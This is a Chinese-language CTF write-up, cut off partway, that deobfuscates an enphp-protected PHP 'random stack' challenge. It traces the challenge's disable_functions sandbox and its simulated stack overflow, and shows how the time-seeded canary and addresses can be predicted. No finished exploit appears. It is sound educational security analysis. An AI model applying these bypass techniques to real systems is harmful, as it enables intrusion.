starctf-echohub-writeup

已经不打CTF很长时间了,CTF对我来说是一种奢侈,Team里小伙伴给了我一个题,说是经过混淆过的Php文件,我一向比较喜欢解混淆的东西。于是决定安排一下这道题。

题目要求执行/readflag,

/?source=1 先看源码。 两段base64,一段是源码,一段是dockerfile。先看source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
<?php /* orz
-- enphp : https://git.oschina.net/mz/mzphp2
*/ error_reporting(E_ALL^E_NOTICE);define('O0', 'O');?$GLOBALS[O0] = explode('|||', gzinflate(substr('? uR蒖? ?N纴R饰0贪挫-L箋WiB圬N?彥暒斺C嫔蛴{抌A鯾5TO拽觰楀?>`揕阴C凰:璙幅怅聵@L判?# 评?鈝<1犡
C蛭攕态櫕B
ず6?8 8蝑#E21黯鹖?筎XW G闵渍跬m硊w~}kv喵嘒荺'仛?8}攲?3《蛸┱j稪n??>坮?缙?ta营W叅n?>鳸謘?毌R.?辩Rzi??0奵-T梿螦埞傳V6錰L??凖磐^&)$g臭?u?Fh將mv隄N杰敓1X薂d`+冖糆0?鴂4
令姡
??硔?浰賊'忻覬鍜铞?e?竜俿澷L ',0x0a, -8)));惡耷揉粡?

file_put_contents('array.php',var_export($GLOBALS[O0],true));
require_once $GLOBALS{O0}[0];


$seed = $GLOBALS{O0}{0x001}();
$GLOBALS{O0}[0x0002]($seed);
$GLOBALS{O0}{0x00003}($GLOBALS{O0}[0x000004],$GLOBALS{O0}{0x05}(0x0000,0xffff));

$regs = array(
$GLOBALS{O0}[0x006]=>0x0,
$GLOBALS{O0}{0x0007}=>0x0,
$GLOBALS{O0}[0x00008]=>0x0,
$GLOBALS{O0}{0x000009}=>0x0,
);


function aslr(&$O00,$O0O)
{
$O00 = $O00 + 0x60000000 + INS_OFFSET + 0x001 ;

}
$func_ = $GLOBALS{O0}[0x0a]($func);
$GLOBALS{O0}{0x00b}($func_,$GLOBALS{O0}[0x000c]);
$plt = $GLOBALS{O0}[0x0a]($func_);


function handle_data($OOO){$OO0O=&$GLOBALS{O0};
$O000 = $OO0O{0x0000d}($OOO);

$O00O = $O000/0x000004+(0x001*($O000%0x000004));
悩懯澳│熰箠皥狲你捗饸脠暾覓钕锠晸拼;
$O0O0 = $OO0O[0x00000e]($OOO,0x000004);
惀墶熗;
$O0O0[$O00O-0x001] = $OO0O{0x0f}($O0O0[$O00O-0x001],0x000004,$OO0O[0x0010]);

foreach ($O0O0 as $O0OO=>&$OO00){
$OO00 = $OO0O{0x00011}($OO0O[0x000012]($OO00));

}
return $O0O0;

}

function gen_canary(){$O0O00=&$GLOBALS{O0};
$OOOO = $O0O00{0x0000013};
愹秳?
$O0000 = $OOOO[$O0O00{0x05}(0,$O0O00{0x0000d}($OOOO)-0x001)];

$O000O = $OOOO[$O0O00{0x05}(0,$O0O00{0x0000d}($OOOO)-0x001)];
惂艥钾漯湾绑镆摻嘏舷撣脧胡搫堥邉挦⑽劳眇凛脑湠涬懋遣絺嚨肩何庈潕漭垡蠞?
$O00O0 = $OOOO[$O0O00{0x05}(0,$O0O00{0x0000d}($OOOO)-0x001)];

$O00OO = $O0O00[0x0010];
悗埂絺喳剛蛯笂篁貍婿惗针墺?
return $O0O00[0x014]($O0000.$O000O.$O00O0.$O00OO)[0];

}
$canary = $GLOBALS{O0}{0x0015}();
$canarycheck = $canary;

function check_canary(){
global $canary;

global $canarycheck;
悓缾事淝晴栍牋;
if($canary != $canarycheck){
die($GLOBALS{O0}[0x00016]);
}

}

Class O0OO0{
private $ebp,$stack,$esp;

public function __construct($O0OOO,$OO000) {$OO00O=&$GLOBALS{O0};
$this->stack = array();
愂羼跍乔ロ疫ㄐ鐥莰Ж雽鸪?
global $regs;

$this->ebp = &$regs[$OO00O{0x0007}];

$this->esp = &$regs[$OO00O[0x00008]];

$this->ebp = 0xfffe0000 + $OO00O{0x05}(0x0000,0xffff);

global $canary;
悰憰醐菥铀懗?
$this->stack[$this->ebp - 0x4] = &$canary;
惱拇;
$this->stack[$this->ebp] = $this->ebp + $OO00O{0x05}(0x0000,0xffff);
愙涠犰虌仅埬隙婏牼鋬;
$this->esp = $this->ebp - ($OO00O{0x05}(0x20,0x60)*0x000004);
悷Ν乡埖炾k踽猊浑陮洯脬科諆纥狈涔靹餂蛴廉垃;
$this->stack[$this->ebp + 0x4] = $OO00O{0x000017}($O0OOO);

if($OO000 != NULL)
$this->{$GLOBALS{O0}[0x0000018]}($OO000);
}

public function pushdata($OO0O0){$OOO00=&$GLOBALS{O0};
$OO0O0 = $OOO00[0x014]($OO0O0);
悞箳移笳堜致役玢藙譅艈囹琅畻阻?
for($OO0OO=0;$OO0OO<$OOO00{0x019}($OO0O0);$OO0OO++){
$this->stack[$this->esp+($OO0OO*0x000004)] = $OO0O0[$OO0OO];
愑天鄄臑厾嗛鞀缻衅砟埑驙屰抒闱冞;//no args in my stack haha
$OOO00[0x001a]();

}
}

public function recover_data($OOO0O){$OOOO0=&$GLOBALS{O0};

return $OOOO0{0x0001b}($OOOO0{0x00011}($OOO0O));
悆挄埑滖牕抄鼹溂勑挨輱盥鸲判覗炆櫛撷潲晢ど礈判偕韤椵聣晧夔狑;

}


public function outputdata(){$O0000O=&$GLOBALS{O0};
global $regs;

echo $O0000O[0x00001c];

while(0x001){
if($this->esp == $this->ebp-0x4)
break;
$this->{$GLOBALS{O0}{0x000001d}}($O0000O[0x01e]);

$OOOOO = $this->{$GLOBALS{O0}{0x001f}}($regs[$O0000O[0x01e]]);

$O00000 = $O0000O[0x00020]($O0000O[0x0010],$OOOOO);
愺暢;
echo $O00000[0];

if($O0000O{0x019}($O00000)>0x001){
break;
}
}

}
public function ret(){$O000O0=&$GLOBALS{O0};

$this->esp = $this->ebp;
悮;
$this->{$GLOBALS{O0}{0x000001d}}($O000O0{0x0007});

$this->{$GLOBALS{O0}{0x000001d}}($O000O0{0x000021});

$this->{$GLOBALS{O0}[0x0000022]}();

}

public function get_data_from_reg($O000OO){$O00OO0=&$GLOBALS{O0};
global $regs;

$O00O00 = $this->{$GLOBALS{O0}{0x001f}}($regs[$O000OO]);
愖;
$O00O0O = $O00OO0[0x00020]($O00OO0[0x0010],$O00O00);

return $O00O0O[0];

}

public function call()
{$O0OO00=&$GLOBALS{O0};
global $regs;

global $plt;

$O00OOO = $O0OO00{0x023}($regs[$O0OO00{0x000009}]);

if(isset($_REQUEST[$O00OOO])) {
$this->{$GLOBALS{O0}{0x000001d}}($O0OO00[0x006]);
$O0O000 = (int)$this->{$GLOBALS{O0}[0x0024]}($O0OO00[0x01e]);
$O0O00O = array();
for($O0O0O0=0;$O0O0O0<$O0O000;$O0O0O0++){
$this->{$GLOBALS{O0}{0x000001d}}($O0OO00[0x006]);
$O0O0OO = $this->{$GLOBALS{O0}[0x0024]}($O0OO00[0x01e]);
$O0OO00{0x00025}($O0O00O,$_REQUEST[$O0O0OO]);
}
$O0OO00[0x000026]($plt[$O00OOO],$O0O00O);
}
else {
$O0OO00{0x0000027}($plt[$O00OOO]);
}

}

public function push($O0OO0O){$O0OOOO=&$GLOBALS{O0};
global $regs;

$O0OOO0 = $regs[$O0OO0O];
愝拟砉雎篾轃蓻諊佶③娈霌胤柪憚鶌я蜏慝环茠尽粪淬;
if( $O0OOOO{0x0001b}($O0OOOO{0x00011}($O0OOO0)) == NULL ) die($O0OOOO[0x028]);
$this->stack[$this->esp] = $O0OOO0;
惤昨腠滁颦垰犝稁侐迫唴榫骁鬀素荒;
$this->esp -= 0x000004;

}

public function pop($OO0000){
global $regs;

$regs[$OO0000] = $this->stack[$this->esp];

$this->esp += 0x000004;


}

public function __call($OO000O,$OO00O0)
{
$GLOBALS{O0}[0x001a]();

}

}$GLOBALS{O0}{43}($GLOBALS{O0}{0x0029},$GLOBALS{O0}[0x0002a],0);print_R($GLOBALS{O0}{0x0029});print_R($GLOBALS{O0}[0x0002a]);

if(isset($_POST[$GLOBALS{O0}[0x000002c]])) {
$phpinfo_addr = $GLOBALS{O0}{0x02d}($GLOBALS{O0}[0x002e], $plt);
$gets = $_POST[$GLOBALS{O0}[0x000002c]];
$main_stack = new $GLOBALS{O0}[0x0002a]($phpinfo_addr, $gets);
echo $GLOBALS{O0}{0x0002f};
$main_stack->{$GLOBALS{O0}[0x000030]}();
echo $GLOBALS{O0}{0x0000031};
$main_stack->{$GLOBALS{O0}[0x032]}();
}
看起来确实有的一点乱,我用sublime打开直接给我显示的二进制文件,这里highlight.js 也无法正确的渲染。最开始的时候我没有看见enphp这个提示,我直接上手解。表面看起来也不是很难。

可以注意到开头给$GLOBALS{O0}赋值,后文中同样很多处引用到了这个变量。按照常识应该是个保护需要用到的函数,字符串的数组。那直接给它dump出来就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
array (
0 => 'sandbox.php',
1 => 'time',
2 => 'srand',
3 => 'define',
4 => 'INS_OFFSET',
5 => 'rand',
6 => 'eax',
7 => 'ebp',
8 => 'esp',
9 => 'eip',
10 => 'array_flip',
11 => 'array_walk',
12 => 'aslr',
13 => 'strlen',
14 => 'str_split',
15 => 'str_pad',
16 => '' . "\0" . '',
17 => 'strrev',
18 => 'bin2hex',
19 => 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789',
20 => 'handle_data',
21 => 'gen_canary',
22 => 'emmmmmm...Don\'t attack me!',
23 => 'dechex',
24 => 'pushdata',
25 => 'count',
26 => 'check_canary',
27 => 'hex2bin',
28 => 'root says: ',
29 => 'pop',
30 => 'eax',
31 => 'recover_data',
32 => 'explode',
33 => 'eip',
34 => 'call',
35 => 'hexdec',
36 => 'get_data_from_reg',
37 => 'array_push',
38 => 'call_user_func_array',
39 => 'call_user_func',
40 => 'data error',
41 => 'O0OO0',
42 => 'stack',
43 => 'class_alias',
44 => 'data',
45 => 'array_search',
46 => 'phpinfo',
47 => '--------------------output---------------------</br></br>',
48 => 'outputdata',
49 => '</br></br>------------------phpinfo()------------------</br>',
50 => 'ret',
)

我用的是var_export('$GLOBALS{O0}',true);,导成变量后面会用来。接下来就是变量名的替换。写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
$a = file_get_contents('encode.php');
//var_dump($array_1);
function decode_se($matches){
$array_1 = array (
0 => 'sandbox.php',
1 => 'time',
2 => 'srand',
3 => 'define',
4 => 'INS_OFFSET',
5 => 'rand',
6 => 'eax',
7 => 'ebp',
8 => 'esp',
9 => 'eip',
10 => 'array_flip',
11 => 'array_walk',
12 => 'aslr',
13 => 'strlen',
14 => 'str_split',
15 => 'str_pad',
16 => '' . "\0" . '',
17 => 'strrev',
18 => 'bin2hex',
19 => 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789',
20 => 'handle_data',
21 => 'gen_canary',
22 => 'emmmmmm...Don\'t attack me!',
23 => 'dechex',
24 => 'pushdata',
25 => 'count',
26 => 'check_canary',
27 => 'hex2bin',
28 => 'root says: ',
29 => 'pop',
30 => 'eax',
31 => 'recover_data',
32 => 'explode',
33 => 'eip',
34 => 'call',
35 => 'hexdec',
36 => 'get_data_from_reg',
37 => 'array_push',
38 => 'call_user_func_array',
39 => 'call_user_func',
40 => 'data error',
41 => 'O0OO0',
42 => 'stack',
43 => 'class_alias',
44 => 'data',
45 => 'array_search',
46 => 'phpinfo',
47 => '--------------------output---------------------</br></br>',
48 => 'outputdata',
49 => '</br></br>------------------phpinfo()------------------</br>',
50 => 'ret',
);
/*var_dump($matches[1]);
var_dump(hexdec($matches[1]));*/
//var_dump($matches[0]);
$aaa = ((int)hexdec($matches[1]));
if($aaa<0 || $aaa>50){
return $matches[0];
}
//var_dump($ma)
var_dump($array_1[(int)hexdec($matches[1])]);
return $array_1[(int)hexdec($matches[1])];
}

$decode_1 = preg_replace_callback(
'|\$GLOBALS\{O0\}[\{\[]0x(\w*)[\}\]]|',
"decode_se",
$a);

$decode_2 = preg_replace_callback(
'|\$\w*?[\{\[]0x(\w*)[\}\]]|',
"decode_se",
$decode_1);
file_put_contents("decode_file.php",$decode_2);
接着手动去掉一些乱码字符,把$GLOBALS{O0}过程也去掉。接着需要将,在页面显示的一部分source code 同样的添加到这部分解码代码之前。最后的结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
<?php /* orz
-- enphp : https://git.oschina.net/mz/mzphp2
*/
<?php /* orz
-- enphp : https://git.oschina.net/mz/mzphp2
*/
error_reporting(E_ALL^E_NOTICE);
define('O0', 'O');

$banner = <<<EOF
<!--/?source=1-->
<pre>
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | _________ | || | ______ | || | ____ ____ | || | ____ | || | ____ ____ | || | _____ _____ | || | ______ | |
| | |_ ___ | | || | .' ___ | | || | |_ || _| | || | .' `. | || | |_ || _| | || ||_ _||_ _|| || | |_ _ \ | |
| | | |_ \_| | || | / .' \_| | || | | |__| | | || | / .--. \ | || | | |__| | | || | | | | | | || | | |_) | | |
| | | _| _ | || | | | | || | | __ | | || | | | | | | || | | __ | | || | | ' ' | | || | | __'. | |
| | _| |___/ | | || | \ `.___.'\ | || | _| | | |_ | || | \ `--' / | || | _| | | |_ | || | \ `--' / | || | _| |__) | | |
| | |_________| | || | `._____.' | || | |____||____| | || | `.____.' | || | |____||____| | || | `.__.' | || | |_______/ | |
| | | || | | || | | || | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------' '----------------'

Welcome to random stack ! Try to execute `/readflag` :P

</pre>

<form action="/decode_file.php" method="post">root > <input name="data" placeholder="input some data"></form>
EOF;
echo $banner;
if(isset($_GET['source'])){
$file = fopen("index.php","r");
$contents = fread($file,filesize("index.php"));
echo "---------------sourcecode---------------";
echo base64_encode($contents);
echo "----------------------------------------";
fclose($file);
//Dockerfile here
echo "RlJPTSB1YnVudHU6MTguMDQKClJVTiBzZWQgLWkgInMvaHR0cDpcL1wvYXJjaGl2ZS51YnVudHUuY29tL2h0dHA6XC9cL21pcnJvcnMudXN0Yy5lZHUuY24vZyIgL2V0Yy9hcHQvc291cmNlcy5saXN0ClJVTiBhcHQtZ2V0IHVwZGF0ZQpSVU4gYXB0LWdldCAteSBpbnN0YWxsIHNvZnR3YXJlLXByb3BlcnRpZXMtY29tbW9uClJVTiBhZGQtYXB0LXJlcG9zaXRvcnkgLXkgcHBhOm9uZHJlai9waHAKUlVOIGFwdC1nZXQgdXBkYXRlClJVTiBhcHQtZ2V0IC15IHVwZ3JhZGUKUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCB0emRhdGEKUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCB2aW0KUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCBhcGFjaGUyClJVTiBhcHQtY2FjaGUgc2VhcmNoICJwaHAiIHwgZ3JlcCAicGhwNy4zInwgYXdrICd7cHJpbnQgJDF9J3wgeGFyZ3MgYXB0LWdldCAteSBpbnN0YWxsClJVTiBzZXJ2aWNlIC0tc3RhdHVzLWFsbCB8IGF3ayAne3ByaW50ICQ0fSd8IHhhcmdzIC1pIHNlcnZpY2Uge30gc3RvcAoKUlVOIHJtIC92YXIvd3d3L2h0bWwvaW5kZXguaHRtbApDT1BZIHJhbmRvbXN0YWNrLnBocCAvdmFyL3d3dy9odG1sL2luZGV4LnBocApDT1BZIHNhbmRib3gucGhwIC92YXIvd3d3L2h0bWwvc2FuZGJveC5waHAKUlVOIGNobW9kIDc1NSAtUiAvdmFyL3d3dy9odG1sLwpDT1BZIGZsYWcgL2ZsYWcKQ09QWSByZWFkZmxhZyAvcmVhZGZsYWcKUlVOIGNobW9kIDU1NSAvcmVhZGZsYWcKUlVOIGNobW9kIHUrcyAvcmVhZGZsYWcKUlVOIGNobW9kIDUwMCAvZmxhZwpDT1BZIC4vcnVuLnNoIC9ydW4uc2gKQ09QWSAuL3BocC5pbmkgL2V0Yy9waHAvNy4zL2FwYWNoZTIvcGhwLmluaQpSVU4gY2htb2QgNzAwIC9ydW4uc2gKCkNNRCBbIi9ydW4uc2giXQ==";
highlight_file(__FILE__);

}
$disable_functions = ini_get("disable_functions");
$loadext = get_loaded_extensions();
foreach ($loadext as $ext) {
if(in_array($ext,array("Core","date","libxml","pcre","zlib","filter","hash","sqlite3","zip"))) continue;
else {
if(count(get_extension_funcs($ext)?get_extension_funcs($ext):array()) >= 1)
$dfunc = join(',',get_extension_funcs($ext));
else
continue;
$disable_functions = $disable_functions.$dfunc.",";

}
}
$func = get_defined_functions()["internal"];
foreach ($func as $f){
if(stripos($f,"file") !== false || stripos($f,"open") !== false || stripos($f,"read") !== false || stripos($f,"write") !== false){
$disable_functions = $disable_functions.$f.",";
}
}

ini_set("disable_functions", $disable_functions);
ini_set("open_basedir","/var/www/html/:/tmp/".md5($_SERVER['REMOTE_ADDR'])."/");


$GLOBALS[O0] = array (
0 => 'sandbox.php',
1 => 'time',
2 => 'srand',
3 => 'define',
4 => 'INS_OFFSET',
5 => 'rand',
6 => 'eax',
7 => 'ebp',
8 => 'esp',
9 => 'eip',
10 => 'array_flip',
11 => 'array_walk',
12 => 'aslr',
13 => 'strlen',
14 => 'str_split',
15 => 'str_pad',
16 => '' . "\0" . '',
17 => 'strrev',
18 => 'bin2hex',
19 => 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789',
20 => 'handle_data',
21 => 'gen_canary',
22 => 'emmmmmm...Don\'t attack me!',
23 => 'dechex',
24 => 'pushdata',
25 => 'count',
26 => 'check_canary',
27 => 'hex2bin',
28 => 'root says: ',
29 => 'pop',
30 => 'eax',
31 => 'recover_data',
32 => 'explode',
33 => 'eip',
34 => 'call',
35 => 'hexdec',
36 => 'get_data_from_reg',
37 => 'array_push',
38 => 'call_user_func_array',
39 => 'call_user_func',
40 => 'data error',
41 => 'O0OO0',
42 => 'stack',
43 => 'class_alias',
44 => 'data',
45 => 'array_search',
46 => 'phpinfo',
47 => '--------------------output---------------------</br></br>',
48 => 'outputdata',
49 => '</br></br>------------------phpinfo()------------------</br>',
50 => 'ret',
);

//file_put_contents('array.php',var_export($GLOBALS[O0],true));
//require_once $GLOBALS{O0}[0];


$seed = time();
echo "time=".$seed;
srand($seed);
define(INS_OFFSET,rand(0x0000,0xffff));

echo "INS_OFFSET=".INS_OFFSET."#";


$regs = array(
eax=>0x0,
ebp=>0x0,
esp=>0x0,
eip=>0x0,
);


function aslr(&$O00,$O0O)
{
$O00 = $O00 + 0x60000000 + INS_OFFSET + 0x001 ;

}
$func_ = array_flip($func);
array_walk($func_,aslr);
$plt = array_flip($func_);

echo "id=".array_search("var_dump", $plt)."\n";

function handle_data($OOO){$OO0O=&$GLOBALS{O0};
$O000 = strlen($OOO);

$O00O = $O000/0x000004+(0x001*($O000%0x000004));


$O0O0 = str_split($OOO,0x000004);

$O0O0[$O00O-0x001] = str_pad($O0O0[$O00O-0x001],0x000004,"\0");

foreach ($O0O0 as $O0OO=>&$OO00){
$OO00 = strrev(bin2hex($OO00));

}
return $O0O0;

}

function gen_canary(){$O0O00=&$GLOBALS{O0};
$OOOO = "abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789";

$O0000 = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O000O = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O00O0 = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O00OO = "\0";

return handle_data($O0000.$O000O.$O00O0.$O00OO)[0];

}
$canary = gen_canary();
$canarycheck = $canary;

function check_canary(){
global $canary;

global $canarycheck;

if($canary != $canarycheck){
die("emmmmmm...Don't attack me!");
}

}

Class O0OO0{

private $ebp,$stack,$esp;

public function __construct($O0OOO,$OO000) {$OO00O=&$GLOBALS{O0};
$this->stack = array();

global $regs;

$this->ebp = &$regs[ebp];

$this->esp = &$regs[esp];

$this->ebp = 0xfffe0000 + rand(0x0000,0xffff);

global $canary;

$this->stack[$this->ebp - 0x4] = &$canary;

$this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);

$this->esp = $this->ebp - (rand(0x20,0x60)*0x000004);

echo "esp=".$this->esp;

$this->stack[$this->ebp + 0x4] = dechex($O0OOO);

echo "ilikeit=".dechex($O0OOO),"&";

if($OO000 != NULL)
$this->{pushdata}($OO000);
}

public function pushdata($OO0O0){$OOO00=&$GLOBALS{O0};
$OO0O0 = handle_data($OO0O0);

for($OO0OO=0;$OO0OO<count($OO0O0);$OO0OO++){
$this->stack[$this->esp+($OO0OO*0x000004)] = $OO0O0[$OO0OO];
//no args in my stack haha
check_canary();

}
}

public function recover_data($OOO0O){$OOOO0=&$GLOBALS{O0};

return hex2bin(strrev($OOO0O));


}


public function outputdata(){$O0000O=&$GLOBALS{O0};
global $regs;

echo "root says:" ;

while(0x001){
if($this->esp == $this->ebp-0x4)
break;
$this->{pop}(eax);

$OOOOO = $this->{recover_data}($regs[eax]);

$O00000 = explode("\0",$OOOOO);

echo $O00000[0];

if(count($O00000)>0x001){
break;
}
}

}
public function ret(){$O000O0=&$GLOBALS{O0};

$this->esp = $this->ebp;

$this->{pop}(ebp);

$this->{pop}(eip);

$this->{call}();

}

public function get_data_from_reg($O000OO){$O00OO0=&$GLOBALS{O0};
global $regs;

$O00O00 = $this->{recover_data}($regs[$O000OO]);

$O00O0O = explode("\0",$O00O00);

return $O00O0O[0];

}

public function call()
{$O0OO00=&$GLOBALS{O0};
global $regs;

global $plt;

$O00OOO = hexdec($regs[eip]);

echo $plt[$O00OOO];

if(isset($_REQUEST[$O00OOO])) {
echo "yes";
$this->{pop}(eax);
$O0O000 = (int)$this->{get_data_from_reg}(eax);
$O0O00O = array();
for($O0O0O0=0;$O0O0O0<$O0O000;$O0O0O0++){
$this->{pop}(eax);
$O0O0OO = $this->{get_data_from_reg}(eax);
array_push($O0O00O,$_REQUEST[$O0O0OO]);
}
call_user_func_array($plt[$O00OOO],$O0O00O);
}
else {
call_user_func($plt[$O00OOO]);
}

}

public function push($O0OO0O){$O0OOOO=&$GLOBALS{O0};
global $regs;

$O0OOO0 = $regs[$O0OO0O];

if( hex2bin(strrev($O0OOO0)) == NULL ) die("data error");
$this->stack[$this->esp] = $O0OOO0;

$this->esp -= 0x000004;

}

public function pop($OO0000){
global $regs;

$regs[$OO0000] = $this->stack[$this->esp];

$this->esp += 0x000004;


}

public function __call($OO000O,$OO00O0)
{
check_canary();

}

}
$GLOBALS{O0}{43}(O0OO0,'stack',0);print_R(O0OO0);print_R(stack);

if(isset($_POST["data"])) {
$phpinfo_addr = array_search("phpinfo", $plt);
$gets = $_POST["data"];
$main_stack = new stack($phpinfo_addr, $gets);
echo "--------------------output---------------------</br></br>";
$main_stack->{"outputdata"}();
echo "</br></br>------------------phpinfo()------------------</br>";
$main_stack->{"ret"}();
}
优化后的其中一些 echo 和 var_dump()是测试数据用的,并不是原source code 里面的东西。接着看data数据到底进入哪里了,视角直接转到最后。用传进来的data,实例化了一个新的stack。

stack 是上面这个类的别名,直接看构造函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public  function __construct($O0OOO,$OO000) {$OO00O=&$GLOBALS{O0};
$this->stack = array();

global $regs;

$this->ebp = &$regs[ebp];

$this->esp = &$regs[esp];

$this->ebp = 0xfffe0000 + rand(0x0000,0xffff);

global $canary;

$this->stack[$this->ebp - 0x4] = &$canary;

$this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);

$this->esp = $this->ebp - (rand(0x20,0x60)*0x000004);

echo "esp=".$this->esp;

$this->stack[$this->ebp + 0x4] = dechex($O0OOO);

echo "ilikeit=".dechex($O0OOO),"&";

if($OO000 != NULL)
$this->{pushdata}($OO000);
}

esp,ebp,eip,eax。 熟悉栈调用的同学肯定不会陌生,esp栈顶,ebp栈底,eip指向执行的位置,eax 是返回值。

可以很清晰的看出,stack的构造函数定义了一个函数调用时栈分配情况。还有canady的保护,栈顶也是随机分配的,即这个调用栈的大小是随机的。

前面也有aslr的保护,函数地址随机化。既然是栈的结构,那么可以看看,我们数据是怎么入栈。接着跟着 \(this->{pushdata}(\)OO000);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function handle_data($OOO){$OO0O=&$GLOBALS{O0};
$O000 = strlen($OOO);

$O00O = $O000/0x000004+(0x001*($O000%0x000004));


$O0O0 = str_split($OOO,0x000004);

$O0O0[$O00O-0x001] = str_pad($O0O0[$O00O-0x001],0x000004,"\0");

foreach ($O0O0 as $O0OO=>&$OO00){
$OO00 = strrev(bin2hex($OO00));

}
return $O0O0;

}

public function pushdata($OO0O0){$OOO00=&$GLOBALS{O0};
$OO0O0 = handle_data($OO0O0);

for($OO0OO=0;$OO0OO<count($OO0O0);$OO0OO++){
$this->stack[$this->esp+($OO0OO*0x000004)] = $OO0O0[$OO0OO];
//no args in my stack haha
check_canary();

}
}

传入的数据会经过handle_data 进行分割。字符每4位为一个存储单元。不足4位拿\0填充,但是这个分配过程没看懂,会根据除4余数的大小不一样分配多一个单元,列如7位字符应该只需2个存储单元,但是它分配了3个。没看懂这个分配过程,简单除4向上取整不就行了吗?但是不影响后面的过程,可能这也是一种混淆吧:)

再看pushdata,拿到经过分割的数据,放进栈里,分配多少就存多少,过程中存在canary的检查。这很明显是一个栈溢出嘛,但是怎么绕过canary的检查呢?

仔细看一下canary的生成过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function gen_canary(){
$OOOO = "abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789";

$O0000 = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O000O = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O00O0 = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O00OO = "\0";

return handle_data($O0000.$O000O.$O00O0.$O00OO)[0];

}

也是随机生成4位的字符,但是别忘了rand不是一个真正的随机函数。

1
2
3
$seed = time();
echo "time=".$seed;
srand($seed);
只要时间种子一样,通过rand()结果都是一样的。是的我们可以自己计算出远程服务器上的rand()结果。这样canary也可以拿到,同样经过随机化的函数地址,同样可以拿到。

我们需要覆盖多大的地址,同样esp也是edp-rand()*4得到的,我们可以知道栈的大小。

下面看一下$main_stack->{"outputdata"}(); 函数调用的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public  function ret(){$O000O0=&$GLOBALS{O0};

$this->esp = $this->ebp;

$this->{pop}(ebp);

$this->{pop}(eip);

$this->{call}();

}

public function call()
{
global $regs;

global $plt;

$O00OOO = hexdec($regs[eip]);

echo $plt[$O00OOO];

if(isset($_REQUEST[$O00OOO])) {
echo "yes";
$this->{pop}(eax);
$O0O000 = (int)$this->{get_data_from_reg}(eax);
$O0O00O = array();
for($O0O0O0=0;$O0O0O0<$O0O000;$O0O0O0++){
$this->{pop}(eax);
